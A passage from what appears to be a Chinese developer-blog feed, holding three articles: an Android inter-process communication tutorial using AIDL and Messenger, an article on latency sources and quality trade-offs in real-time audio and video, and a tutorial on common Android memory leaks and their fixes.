// Declare any non-default types here with import statements
//手动导入
import com.wuxiaolong.androidprocesssample.UserBean;

interface IUserManager {

    //基本数据类型:int,long,boolean,float,double,String
    void hello(String aString);

    //非基本数据类型,传递对象
    void getUser(in UserBean userBean);//in 客户端->服务端


}

4、服务类

新建 AIDLService 继承 Service,并且实现 onBind() 方法返回一个你实现生成的 Stub 类,把它暴露给客户端。Stub 定义了一些辅助的方法,最显著的就是 asInterface(),它是用来接收一个 IBinder,并且返回一个 Stub 接口的实例 。

public class AIDLService extends Service {

    private Binder binder = new IUserManager.Stub() {

        @Override
        public void getUser(UserBean userBean) throws RemoteException {
            Log.d("wxl", userBean.getUserId() + "," + userBean.getUserName() + " from AIDL Service");
        }

        @Override
        public void hello(String aString) throws RemoteException {
            Log.d("wxl", aString + " from AIDL Service");
        }
    };

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }

    @Override
    public void onCreate() {
        super.onCreate();
    }
}

AndroidManifest 注册:

<service
    android:name=".AIDLService"
    android:process=":aidlRemote" />

以上创建完毕,build clean 下,会自动生成 aidl 对应的 java 类供客户端调用。

客户端

1、app/build.gradle

需要指定 aidl 路径:

android {
    //……
    sourceSets {
        main {
            java.srcDirs = ['src/main/java', 'src/main/aidl']
        }
    }
}

2、启动服务,建立联系

public class MainActivity extends AppCompatActivity {

    private ServiceConnection aidlServiceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            IUserManager remoteService = IUserManager.Stub.asInterface(service);
            UserBean userBean = new UserBean();
            userBean.setUserId(1);
            userBean.setUserName("WuXiaolong");
            try {
                remoteService.getUser(userBean);
                remoteService.hello("Hello");
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Intent intent = new Intent(this, AIDLService.class);
        bindService(intent, aidlServiceConnection, Context.BIND_AUTO_CREATE);
    }

    @Override
    protected void onDestroy() {
        unbindService(aidlServiceConnection);
        super.onDestroy();
    }
}

打印:

com.wuxiaolong.androidprocesssample:aidlRemote D/wxl: 1,WuXiaolong from AIDL Service
com.wuxiaolong.androidprocesssample:aidlRemote D/wxl: Hello from AIDL Service

多个应用,多进程

和上面基本差不多,把服务端和客户端分别创建的两个项目,可以互相通信,注意点:

1、服务端创建好的 aidl 文件,带包拷贝到客户端项目中;

2、客户端启动服务是隐式启动,Android 5.0 中对 service 隐式启动有限制,必须通过设置 action 和 package,代码如下:

AndroidManifest 注册:

<service android:name=".AIDLService"><intent-filter><action android:name="android.intent.action.AIDLService" /></intent-filter>

启动服务:

Intent intent = new Intent();
intent.setAction("android.intent.action.AIDLService");
intent.setPackage("com.wuxiaolong.aidlservice");
bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);

使用 Messenger

Messenger 可以在不同的进程传递 Message 对象,而我们可以在 Message 对象中放入我们所需要的数据,这样就能实现进程间通信了。Messenger 底层实现是 AIDL,对 AIDL 做了封装, 不需要处理多线程,实现步骤也分为服务端和客户端,代码如下:

服务端

MessengerService:

public class MessengerService extends Service {

    private final Messenger messenger = new Messenger(new MessengerHandler());


    private static class MessengerHandler extends Handler {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case MainActivity.MSG_FROM_CLIENT:
                    //2、服务端接送消息
                    Log.d("wxl", "msg=" + msg.getData().getString("msg"));

                    //4、服务端回复消息给客户端
                    Messenger serviceMessenger = msg.replyTo;
                    Message replyMessage = Message.obtain(null, MSG_FROM_SERVICE);
                    Bundle bundle = new Bundle();
                    bundle.putString("msg", "Hello from service.");
                    replyMessage.setData(bundle);
                    try {
                        serviceMessenger.send(replyMessage);
                    } catch (RemoteException e) {
                        e.printStackTrace();
                    }
                    break;
            }
            super.handleMessage(msg);
        }
    }

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return messenger.getBinder();
    }
}

AndroidManafest.xml 注册:

<service
    android:name=".MessengerService"
    android:process=":messengerRemote" />

客户端

MainActivity

public class MainActivity extends AppCompatActivity {
    public static final int MSG_FROM_CLIENT = 1000;
    public static final int MSG_FROM_SERVICE = 1001;
    private Messenger clientMessenger;
    private ServiceConnection messengerServiceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            //1、发送消息给服务端
            clientMessenger = new Messenger(service);
            Message message = Message.obtain(null, MSG_FROM_CLIENT);
            Bundle bundle = new Bundle();
            bundle.putString("msg", "Hello from client.");
            message.setData(bundle);
            //3、这句是服务端回复客户端使用
            message.replyTo = getReplyMessenger;
            try {
                clientMessenger.send(message);
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }
    };

    private final Messenger getReplyMessenger = new Messenger(new MessengerHandler());

    private static class MessengerHandler extends Handler {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case MainActivity.MSG_FROM_SERVICE:
                    //5、服务端回复消息给客户端,客户端接送消息
                    Log.d("wxl", "msg=" + msg.getData().getString("msg"));
                    break;
            }
            super.handleMessage(msg);
        }
    }


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
        // Messenger 进行通信
        Intent intent = new Intent(this, MessengerService.class);
        bindService(intent, messengerServiceConnection, Context.BIND_AUTO_CREATE);

    }

    @Override
    protected void onDestroy() {
        unbindService(messengerServiceConnection);
        super.onDestroy();
    }

}

打印信息:

com.wuxiaolong.androidprocesssample:remote D/wxl: msg=Hello from client.
com.wuxiaolong.androidprocesssample D/wxl: msg=Hello from service.

最后

《Android开发艺术探索》一书关于 Android 进程间通信这块,还有 ContentProvider、Socket 方式,由于篇幅所限,这里不一一介绍了,有兴趣可以自行查看。如果需要这次 Sample 的源码,可在我的公众号「吴小龙同学」回复:「AndroidProcessSample」获取。

参考

《Android开发艺术探索》
Android 中的多进程,你值得了解的一些知识
Android使用AIDL实现跨进程通讯(IPC)

详解音视频直播中的低延时

$
0
0
高泽华,声网 Agora 音频工匠,先后在中磊电子、士兰微电子、虹软科技主导音频项目。任职 YY 期间负责语音音频技术工作。在音乐、语音编解码方面有超过十年的研发经验。

音视频实时通讯的应用场景已经随处可见,从“吃鸡”的语音对讲、直播连麦、直播答题组队开黑,再到银行视频开户等。对于开发者来讲,除了关注如何能快速实现不同应用场景重点额音视频通讯,另一个更需要关注的可能就是“低延时”。但是,到底实时音视频传输延时应该如何“低”,才能满足你的应用场景呢?

延时的产生与优化

在聊低延时之前,我们先要讲清延时是如何产生的。由于音视频的传输路径一样,我们可以通过一张图来说明延时的产生:

在音视频传输过程中,在不同阶段都会产生延时。总体可以分为三类:

T1:设备端上的延时

音视频数据在设备端上产生延时还可以细分。设备端上的延时主要与硬件性能、采用的编解码算法、音视频数据量相关,设备端上的延时可达到 30~200ms,甚至更高。如上表所示,音频与视频分别在采集端或播放端产生延时的过程基本相同,但产生延时的原因不同。

音频在设备端上的延时:

  • 音频采集延时:采集后的音频首先会经过声卡进行信号转换,声卡本身会产生延时,比如 M-Audio 声卡设备延迟 1ms,艾肯声卡设备延迟约为 37ms;
  • 编解码延时:随后音频进入前处理、编码的阶段,如果采用 OPUS 标准编码,最低算法延时大约需要 2.5~60ms;
  • 音频播放延时:这部分延时与播放端硬件性能相关。
  • 音频处理延时:前后处理,包括 AEC,ANS,AGC 等前后处理算法都会带来算法延时,通常这里的延时就是滤波器阶数。在 10ms 以内。
  • 端网络延时:这部分延时主要出现在解码之前的 jitter buffer 内,如果在抗丢包处理中,增加了重传算法和前向纠错算法,这里的延时一般在 20ms 到 200ms 左右。但是受到 jitter buffer 影响,可能会更高。

视频在设备端上的延时:

  • 采集延时:采集时会遇到成像延迟,主要由 CCD 相关硬件产生,市面上较好的 CCD 一秒可达 50 帧,成像延时约为 20ms,如果是一秒 20~25 帧的 CCD,会产生 40~50ms 的延时;
  • 编解码延时:以 H.264 为例,它包含 I、P、B 三种帧(下文会详细分析),如果是每秒 30 帧相连帧,且不包括 B 帧(由于 B 帧的解码依赖前后视频帧会增加延迟),采集的一帧数据可能直接进入编码器,没有 B 帧时,编码的帧延时可以忽略不计,但如果有 B 帧,会带来算法延时。
  • 视频渲染延时:一般情况下渲染延时非常小,但是它也会受到系统性能、音画同步的影响而增大。
  • 端网络延时:与音频一样,视频也会遇到端网络延时。

另外,在设备端,CPU、缓存通常会同时处理来自多个应用、外接设备的请求,如果某个问题设备的请求占用了 CPU,会导致音视频的处理请求出现延时。以音频为例,当出现该状况时,CPU 可能无法及时填充音频缓冲区,音频会出现卡顿。所以设备整体的性能,也会影响音视频采集、编解码与播放的延时。

T2:端与服务器间的延时

影响采集端与服务器、服务器与播放端的延时的有以下主几个因素:客户端同服务间的物理距离、客户端和服务器的网络运营商、终端网络的网速、负载和网络类型等。如果服务器就近部署在服务区域、服务器与客户端的网络运营商一致时,影响上下行网络延时的主要因素就是终端网络的负载和网络类型。一般来说,无线网络环境下的传输延时波动较大,传输延时通常在 10~100ms 不定。而有线宽带网络下,同城的传输延时能较稳定的低至 5ms~10ms。但是在国内有很多中小运营商,以及一些交叉的网络环境、跨国传输,那么延时会更高。

T3:服务器间的延时

在此我们要要考虑两种情况,第一种,两端都连接着同一个边缘节点,那么作为最优路径,数据直接通过边缘节点进行转发至播放端;第二种,采集端与播放端并不在同一个边缘节点覆盖范围内,那么数据会经由“靠近”采集端的边缘节点传输至主干网络,然后再发送至“靠近”播放端的边缘节点,但这时服务器之间的传输、排队还会产生延时。仅以骨干网络来讲,数据传输从黑龙江到广州大约需要 30ms,从上海到洛杉矶大约需要 110ms~130ms。

在实际情况下,我们为了解决网络不佳、网络抖动,会在采集设备端、服务器、播放端增设缓冲策略。一旦触发缓冲策略就会产生延时。如果卡顿情况多,延时会慢慢积累。要解决卡顿、积累延时,就需要优化整个网络状况。

综上所述,由于音视频在采集与播放端上的延时取决于硬件性能、编解码内核的优化,不同设备,表现不同。所以通常市面上常见的“端到端延时”指的是 T2+T3。

延时低≠通话质量可靠

不论是教育、社交、金融,还是其它场景下,大家在开发产品时可能会认为“低延时”一定就是最好的选择。但有时,这种“追求极致”也是陷入误区的表现,低延时不一定意味着通讯质量可靠。由于音频与视频本质上的差异,我们需要分别来讲实时音频、视频的通讯质量与延时之间的关系。

音频质量与延时

音频采样示意图

影响实时音频通讯质量的因素包括:音频采样率、码率、延时。音频信息其实就是一段以时间为横轴的正弦波,它是一段连续的信号(如上图)。

采样率:是每秒从连续信号中提取并组成离散信号的采样个数。采样率越高,音频听起来越接近真实声音。

码率:它描述了单位时间长度的媒体内容需要空间。码率越高,意味着每个采样的信息量就越大,对这个采样的描述就越精确,音质越好。

假设网络状态稳定不变,那么采样率越高、码率越高,音质就越好,但是相应单个采样信息量就越大,那么传输时间可能会相对更长。

对照我们之前的公式,如果想要达到低延时,那么可以提高网络传输效率,比如提高带宽、网络速度,这在实验室环境下可以轻易实现。但放到生活环境中,弱网、中小运营商等不可控的问题必定会影响网络传输效率,最后结果就是通讯质量没有保障。还有一种方法,就是降低码率,那么会损失音质。

视频质量与延时

影响实时视频质量的因素包括:码率、帧率、分辨率、延时。其中视频的码率与音频码率相似,是指单位时间传输的数据位数。码率越大,画面细节信息越丰富,视频文件体积越大。

帧:正如大家所知,视频由一帧帧图像组成,如上图所示为 H.264 标准下的视频帧。它以 I 帧、P 帧、B 帧组成的 GOP 分组来表示图像画面(如下图):I 帧是关键帧,带有图像全部信息;P 帧是预测编码帧,表示与当前与前一帧(I 或 P 帧)之间的差别;B 帧是双向预测编码帧,记录本帧与前后帧的差别。

帧率:它是指每秒钟刷新的图像帧数。它直接影响视频的流畅度,帧率越大,视频越流畅。由于人类眼睛与大脑处理图像信息非常快,当帧率高于 24fps 时,画面看起来是连贯的,但这只是一个起步值。在游戏场景下,帧率小于 30fps 就会让人感到画面不流畅,当提升到 60fps 时会带来更实时的交互感,但超过 75fps 后一般很难让人感到有什么区别了。

分辨率:是指单位英寸中所包含的像素点数,直接影响图像的清晰度。如果将一张 640 x 480 与 1024 x 768 的视频在同一设备上全屏播放,你会感到清晰度明显不同。

在分辨率一定的情况下,码率与清晰度成正比关系,码率越高,图像越清晰;码率越低,图像越不清晰。

在实时视频通话情况下,会出现多种质量问题,比如:与编解码相关的画面糊、不清晰、画面跳跃等现象,因网络传输问题带来的延时、卡顿等。所以解决了低延时,只是解决了实时音频通讯的一小部分问题而已。

综上来看,如果在网络传输稳定的情况下,想获得越低的延时,就需要在流畅度、视频清晰度、音频质量等方面进行权衡。

不同场景下的延时

我们通过下表看到每个行业对实时音视频部分特性的大致需求。但是每个行业,不仅对低延时的要求不同,对延时、音质、画质,甚至功耗之间的平衡也有要求。在有些行业中,低延时并非永远排在首位。

游戏场景

在手游场景下,不同游戏类型对实时音视频的要求不同,比如狼人杀这样的桌游,语音沟通是否顺畅,对游戏体验影响很大,所以对延时要求较高。其它类型游戏具体如下方表格所示。

但满足低延时,并不意味着能满足手游开发的要求。因为手游开发本身存在很多痛点,比如功耗、安装包体积、安全性等。从技术层面讲,将实时音视频与手游结合时,手游开发关注的问题有两类:性能类与体验类。

在将实时音视频与手游结合时,除了延时,更注重包的大小、功耗等。安装包的大小直接影响用户是否安装,而功耗则直接影响游戏体验。

社交直播场景

目前的社交直播产品按照功能类型分有仅支持纯音频社交的,比如荔枝 FM;还有音视频社交的,比如陌陌。这两类场景对实时音视频的要求包括:

直播答题场景

在直播答题场景中,对实时音视频的要求主要有如下两点:

我们以前经常能看到主持人说完一道题,题目却还没发到手机上,最后只剩 3 秒的答题时间,甚至没看到题就已出局。该场景的痛点不是低延时,而是直播音视频与题目的同步,保证所有人公平,有钱分。

K 歌合唱场景

天天 K 歌、唱吧等 K 歌类应用中,都有合唱功能,主流形式是 A 用户上传完整录音,B 用户再进行合唱。实现实时合唱的主要需求有如下几点:

在这个场景中,两人的歌声与音乐三者之间的同步给低延时提出了很高的要求。同时,音质也是关键,如果为了延时而大幅降低音质,就偏离了 K 歌应用的初衷。

金融场景

对于核保、银行开户来讲,需要一对一音视频通话。由于金融业特殊性,该类应用对实时音视频的需求,按照重要性来排序如下:

在这个场景中,低延时不是关键。重要的是,要保证安全性、双录功能和系统平台的兼容。

在线教育

在线教育主要分为两类:非 K12 在线教育,比如技术开发类教学,该场景对实时音视频的要求主要有:

很多非 K12 教学发生在单向直播场景下,所以延时要求并不高。

另一类是 K12 在线教育,比如英语外教、部分兴趣教学,通常会有一对一或一对多的师生连麦功能,它对直播场景的要求包括:

在 K12 的在线教育中,师生的连麦在低延时方面有较高的要求。如果会涉及跨国的英语教学,或需要面向偏远地区学生,那还要考虑海外节点部署、中小运营商网络的支持等。

在线抓娃娃

在线抓娃娃是近期新兴热点,主要依靠实时音视频与线下娃娃机来实现。它对实时音视频的要求包括:

瓶颈与权衡

产品的开发追求极致,需要让延时低到极限。但理想丰满,现实骨感。我们曾在上文提到,延时是因多个阶段的数据处理、传输而产生的。那么就肯定有它触及天花板的时候。

我们大胆假设,要从北京机场传输一路音视频留到上海虹桥机场。我们突破一切物理环境、财力、人力限制,在两地之间搭设了一条笔直的光纤,且保证真空传输(实际上根本不可能)。两地之间距离约为 1061 km。通过计算可知,传输需要约 35ms。数据在采集设备与播放设备端需要的采集、编解码处理与播放缓冲延时计为较高的值,30ms。那么端到端的延时大概需要 65ms。请注意,我们在这里还忽略了音视频文件本身、系统、光的衰减等因素带来的影响。

所以,所谓“超低延时”也会遇到瓶颈。在任何实验环境下都可以达到很低的延时,但是到实际环境中,要考虑边缘节点的部署、主干网络拥塞、弱网环境、设备性能、系统性能等问题,实际延时会更大。在一定的网络条件限制下,针对不同场景选择低延时方案或技术选型时,就需要围绕延时、卡顿、音频质量、视频清晰度等指标进行权衡与判断。


声网Agora有奖征文活动 正在进行中,只要在5月25日前分享你与声网SDK相关的开发经验,即有机会获得机械键盘、T恤等声网定制奖品。 详情请戳这里或邮件咨询tougao#agora.io

Android 性能篇 -- 带你领略Android内存泄漏的前世今生

$
0
0

基础了解

什么是内存泄漏?

内存泄漏是当程序不再使用到的内存时,释放内存失败而产生了无用的内存消耗。内存泄漏并不是指物理上的内存消失,这里的内存泄漏是指由程序分配的内存但是由于程序逻辑错误而导致程序失去了对该内存的控制,使得内存浪费。

Java 内存分配策略

Java 程序运行时的内存分配策略有三种,分别是 静态分配 栈式分配 堆式分配 ,对应的三种存储策略使用的内存空间主要分别是 静态存储区(也称方法区) 栈区 堆区

          静态存储区(方法区):主要存放 静态数据全局 static 数据常量。这块内存在程序编译时就已经分配好,并且在程序整个运行期间都存在。

          栈区:当方法被执行时,方法体内的 局部变量(其中包括基础数据类型、对象的引用)都在栈上创建,并在方法执行结束时这些局部变量所持有的内存将会自动被释放。因为栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。

          堆区: 又称动态内存分配,通常就是指在程序运行时直接 new 出来的内存,也就是 对象的实例。这部分内存在不使用时将会由 Java 垃圾回收器(GC)来负责回收。

栈与堆的区别

在方法体内定义的(局部变量)一些基本类型的变量和对象的引用变量都是在方法的栈内存中分配的。当在一段方法块中定义一个变量时,Java 就会在栈中为该变量分配内存空间,当超过该变量的作用域后,该变量也就无效了,分配给它的内存空间也将被释放掉,该内存空间可以被重新使用。

堆内存用来存放所有由 new 创建的对象(包括该对象其中的所有成员变量)和数组。在堆中分配的内存,将由 Java 垃圾回收器来自动管理。在堆中产生了一个数组或者对象后,还可以在栈中定义一个特殊的变量,这个变量的取值等于数组或者对象在堆内存中的首地址,这个特殊的变量就是我们上面说的引用变量。我们可以通过这个引用变量来访问堆中的对象或者数组。

举例说明:

public class Sample {
    int s1 = 0;
    Sample mSample1 = new Sample();

    public void method() {
        int s2 = 1;
        Sample mSample2 = new Sample();     // Sample 类的局部变量 s2 和引用变量 mSample2 都是存在于栈中,但 mSample2 指向的对象是存在于堆上
    }
}

Sample mSample3 = new Sample();             // mSample3 指向的对象实体存放在堆上,包括这个对象的所有成员变量 s1 和 mSample1,而它自己存在于栈中。

Java是如何管理内存

Java的内存管理就是对象的分配和释放问题。在 Java 中,程序员需要通过关键字 new 为每个对象申请内存空间 (基本类型除外),所有的对象都在堆 (Heap)中分配空间。另外,对象的释放是由 GC 决定和执行的。在 Java 中,内存的分配是由程序完成的,而内存的释放是由 GC 完成的,这种收支两条线的方法确实简化了程序员的工作。但同时,它也加重了JVM的工作。这也是 Java 程序运行速度较慢的原因之一。因为,GC 为了能够正确释放对象,GC 必须监控每一个对象的运行状态,包括对象的申请、引用、被引用、赋值等,GC 都需要进行监控。

监视对象状态是为了更加准确地、及时地释放对象,而释放对象的根本原则就是该对象不再被引用。

Java中的内存泄漏

在Java中,内存泄漏就是存在一些被分配的对象,这些对象有下面两个特点,首先,这些对象是可达的,即在有向图中,存在通路可以与其相连;其次,这些对象是无用的,即程序以后不会再使用这些对象。如果对象满足这两个条件,这些对象就可以判定为Java中的内存泄漏,这些对象不会被GC所回收,然而它却占用内存。

在C++中,内存泄漏的范围更大一些。有些对象被分配了内存空间,然后却不可达,由于C++中没有GC,这些内存将永远收不回来。在Java中,这些不可达的对象都由GC负责回收,因此程序员不需要考虑这部分的内存泄露。

通过分析,我们得知,对于C++,程序员需要自己管理边和顶点,而对于Java程序员只需要管理边就可以了(不需要管理顶点的释放)。通过这种方式,Java提高了编程的效率。

因此,通过以上分析,我们知道在Java中也有内存泄漏,但范围比C++要小一些。因为Java从语言上保证,任何对象都是可达的,所有的不可达对象都由GC管理。

对于程序员来说,GC基本是透明的,不可见的。虽然,我们只有几个函数可以访问GC,例如运行GC的函数System.gc(),但是根据Java语言规范定义, 该函数不保证JVM的垃圾收集器一定会执行。因为,不同的JVM实现者可能使用不同的算法管理GC。通常,GC的线程的优先级别较低。JVM调用GC的策略也有很多种,有的是内存使用到达一定程度时,GC才开始工作,也有定时执行的,有的是平缓执行GC,有的是中断式执行GC。但通常来说,我们不需要关心这些。除非在一些特定的场合,GC的执行影响应用程序的性能,例如对于基于Web的实时系统,如网络游戏等,用户不希望GC突然中断应用程序执行而进行垃圾回收,那么我们需要调整GC的参数,让GC能够通过平缓的方式释放内存,例如将垃圾回收分解为一系列的小步骤执行,Sun提供的HotSpot JVM就支持这一特性。

以下给出一个 Java 内存泄漏的典型例子:

Vector v = new Vector(10);
for (int i = 1; i < 100; i++) {
    Object o = new Object();
    v.add(o);
    o = null;   
}

在这个例子中,我们循环申请Object对象,并将所申请的对象放入一个 Vector 中,如果我们仅仅释放引用本身,那么 Vector 仍然引用该对象,所以这个对象对 GC 来说是不可回收的。因此,如果对象加入到Vector 后,还必须从 Vector 中删除,最简单的方法就是将 Vector 对象设置为 null。

常见内存泄漏

永远的单例

单例的使用在我们的程序中随处可见,因为使用它可以完美的解决我们在程序中重复创建对象的问题,不过可别小瞧它。由于 单例的静态特性使得其生命周期跟应用的生命周期一样长 ,所以一旦使用有误,小心无限制的持有Activity的引用而导致内存泄漏。

我们看个例子:

public class AppManager {

    private static AppManager instance;
    private Context context;
    
    private AppManager(Context context) {
        this.context = context;
    }
    
    public static AppManager getInstance(Context context) {
        if (instance == null) {
            instance = new AppManager(context);
        }
        return instance;
    }
}

这是一个普通的单例模式,当创建这个单例的时候,由于需要传入一个Context,所以这个Context的生命周期的长短至关重要! (实际常见)

1、如果此时传入的是 Application 的 Context ,因为 Application 的生命周期就是整个应用的生命周期,所以这将没有任何问题。

2、如果此时传入的是 Activity 的 Context ,当这个 Context 所对应的 Activity 退出时,由于该 Context 的引用被单例对象所持有,其生命周期等于整个应用程序的生命周期,所以当前 Activity 退出时它的内存并不会被回收,这就造成泄漏了。

正确的方式(写法一):

public class AppManager {

    private static AppManager instance;
    private Context context;
    
    private AppManager(Context context) {
        this.context = context.getApplicationContext(); // 使用 Application 的 context
    }
    
    public static AppManager getInstance(Context context) {
        if (instance == null) {
            instance = new AppManager(context);
        }
        return instance;
    }
}

正确的方式(写法二):

// 在你的 Application 中添加一个静态方法,getContext() 返回 Application 的 context

...

context = getApplicationContext();

...
   /**
     * 获取全局的context
     * @return 返回全局context对象
     */
    public static Context getContext(){
        return context;
    }

public class AppManager {

    private static AppManager instance;
    private Context context;
    
    private AppManager() {
        this.context = MyApplication.getContext(); // 使用Application 的context
    }
    
    public static AppManager getInstance() {
        if (instance == null) {
            instance = new AppManager();
        }
        return instance;
    }
}

静态Activity

我们看一段代码:

public class MainActivity extends AppCompatActivity {
    private static MainActivity activity;         // 这边设置了静态Activity,发生了内存泄漏
    TextView saButton;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        saButton = (TextView) findViewById(R.id.text);
        saButton.setOnClickListener(new View.OnClickListener() {
            @Override public void onClick(View v) {
                setStaticActivity();
                nextActivity();
            }
        });
    }
    void setStaticActivity() {
        activity = this;
    }

    void nextActivity(){
        startActivity(new Intent(this,RegisterActivity.class));
        SystemClock.sleep(1000);
        finish();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
    }
}

在上面代码中,我们声明了一个静态的 Activity 变量并且在 TextView 的 OnClick 事件里引用了当前正在运行的 Activity 实例,所以如果在 activity 的生命周期结束之前没有清除这个引用,则会引起内存泄漏。因为声明的 activity 是静态的,会常驻内存,如果该对象不清除,则垃圾回收器无法回收变量。

我们可以这样解决:

    protected void onDestroy() {
        super.onDestroy();
        activity = null;       // 在onDestory方法中将静态变量activity置空,这样垃圾回收器就可以将静态变量回收
    }

静态View

其实和静态Activity颇为相似,我们看下代码:

    ...
    private static View view;               // 定义静态View
    TextView saButton;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        saButton = (TextView) findViewById(R.id.text);
        saButton.setOnClickListener(new View.OnClickListener() {
            @Override public void onClick(View v) {
                setStaticView();
                nextActivity();
            }
        });
    }
    void setStaticView() {
        view = findViewById(R.id.sv_view);
    }
    ...

View一旦被加载到界面中将会持有一个Context对象的引用,在这个例子中,这个context对象是我们的Activity,声明一个静态变量引用这个View,也就引用了activity,所以当activity生命周期结束了,静态View没有清除掉,还持有activity的引用,因此内存泄漏了。

我们可以这样解决:

protected void onDestroy() {
    super.onDestroy();
    view = null;         // 在onDestroy方法里将静态变量置空
} 

匿名类/AsyncTask

我们看下面的例子:

public class MainActivity extends AppCompatActivity {
    void startAsyncTask() {
        new AsyncTask<Void, Void, Void>() {
            @Override protected Void doInBackground(Void... params) {
                while(true);
            }
        }.execute();
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        View aicButton = findViewById(R.id.at_button);
        aicButton.setOnClickListener(new View.OnClickListener() {
            @Override 
            public void onClick(View v) {
                startAsyncTask();
            }
        });
    }
}

上面代码在activity中创建了一个匿名类 AsyncTask,匿名类和非静态内部类相同,会持有外部类对象,这里也就是activity,因此如果你在 Activity 里声明且实例化一个匿名的AsyncTask对象,则可能会发生内存泄漏,如果这个线程在Activity销毁后还一直在后台执行,那这个线程会继续持有这个Activity的引用从而不会被GC回收,直到线程执行完成。

我们可以这样解决:

自定义静态 AsyncTask 类,并且让 AsyncTask 的周期和 Activity 周期保持一致,也就是在 Activity 生命周期结束时要将 AsyncTask cancel 掉。

非静态内部类

有的时候我们可能会在启动频繁的Activity中,为了避免重复创建相同的数据资源,可能会出现这种写法:

public class MainActivity extends AppCompatActivity {

    private static TestResource mResource = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        if(mManager == null){
            mManager = new TestResource();
        }
        //...
    }

    class TestResource {
        //...
    }
}

上面这段代码在Activity内部创建了一个非静态内部类的单例(mManager),每次启动Activity时都会使用该单例的数据,这样虽然避免了资源的重复创建,不过这种写法却会造成内存泄漏。

因为非静态内部类默认会持有外部类的引用,而该非静态内部类又创建了一个静态的实例,该实例的生命周期和应用的一样长,这就导致了该静态实例一直会持有该Activity的引用,导致Activity的内存资源不能正常回收。

正确的做法为:

将该内部类设为静态内部类或将该内部类抽取出来封装成一个单例,如果需要使用Context,请按照上面推荐的使用Application 的 Context。当然,Application 的 context 不是万能的,所以也不能随便乱用,对于有些地方则必须使用 Activity 的 Context。

Handler

Handler 的使用造成的内存泄漏问题应该说是 最为常见 了,很多时候我们为了避免 ANR 而不在主线程进行耗时操作,在处理网络任务或者封装一些请求回调等api都借助Handler来处理,但 Handler 不是万能的,对于 Handler 的使用代码编写不规范即有可能造成内存泄漏。另外,我们知道 Handler、Message 和 MessageQueue 都是相互关联在一起的,万一 Handler 发送的 Message 尚未被处理,则该 Message 及发送它的 Handler 对象将被线程 MessageQueue 一直持有。

由于 Handler 属于 TLS(Thread Local Storage) 变量, 生命周期和 Activity 是不一致的。因此这种实现方式一般很难保证跟 View 或者 Activity 的生命周期保持一致,故很容易导致无法正确释放。

public class SampleActivity extends Activity {

    private final Handler mLeakyHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            // ...
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Post a message and delay its execution for 10 minutes.
        mLeakyHandler.postDelayed(new Runnable() {
            @Override
            public void run() { /* ... */ }
        }, 1000 * 60 * 10);

        // Go back to the previous Activity.
        finish();
    }
}

在该 SampleActivity 中声明了一个延迟 10分钟执行的消息 Message,mLeakyHandler 将其 push 进了消息队列 MessageQueue 里。当该 Activity 被 finish() 掉时,延迟执行任务的 Message 还会继续存在于主线程中,它持有该 Activity 的 Handler 引用,所以此时 finish() 掉的 Activity 就不会被回收了从而造成内存泄漏(因 Handler 为非静态内部类,它会持有外部类的引用,在这里就是指 SampleActivity)。

正确的做法为:

在 Activity 中避免使用非静态内部类,比如上面我们将 Handler 声明为静态的,则其存活期跟 Activity 的生命周期就无关了。同时通过弱引用的方式引入 Activity,避免直接将 Activity 作为 context 传进去,见下面代码:

public class SampleActivity extends Activity {

    private static class MyHandler extends Handler {
        private final WeakReference<SampleActivity> mActivity;

        public MyHandler(SampleActivity activity) {
            mActivity = new WeakReference<SampleActivity>(activity);
        }

        @Override
        public void handleMessage(Message msg) {
            SampleActivity activity = mActivity.get();
            if (activity != null) {                              // 每次使用前注意判空
                // ...
            }
        }
    }

    private final MyHandler mHandler = new MyHandler(this);

    private static final Runnable sRunnable = new Runnable() {
        @Override
        public void run() { /* ... */ }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Post a message and delay its execution for 10 minutes.
        mHandler.postDelayed(sRunnable, 1000 * 60 * 10);

        // Go back to the previous Activity.
        finish();
    }
}

从上面的代码中我们可以看出如何避免Handler内存泄漏,推荐使用 "静态内部类 + WeakReference" 这种方式,每次使用前注意判空。

Java对引用的分类有Strong reference、SoftReference、WeakReference、PhatomReference四种。

级别回收机制用途生存时间
从来不会对象的一般状态JVM停止运行时终止
在内存不足时联合ReferenceQueue构造有效期短/占内存打/生命周期长的对象的二级高速缓冲器(内存不足时才情况)内存不足时终止
在垃圾回收时联合ReferenceQueue构造有效期短/占内存打/生命周期长的对象的一级高速缓冲器(系统发生gc时清空)gc运行后终止
在垃圾回收时联合ReferenceQueue来跟踪对象被垃圾回收期回收的活动gc运行后终止

在Android应用的开发中,为了防止内存溢出,在处理一些占用内存大而且声明周期较长的对象时候,可以尽量应用软引用和弱引用技术。

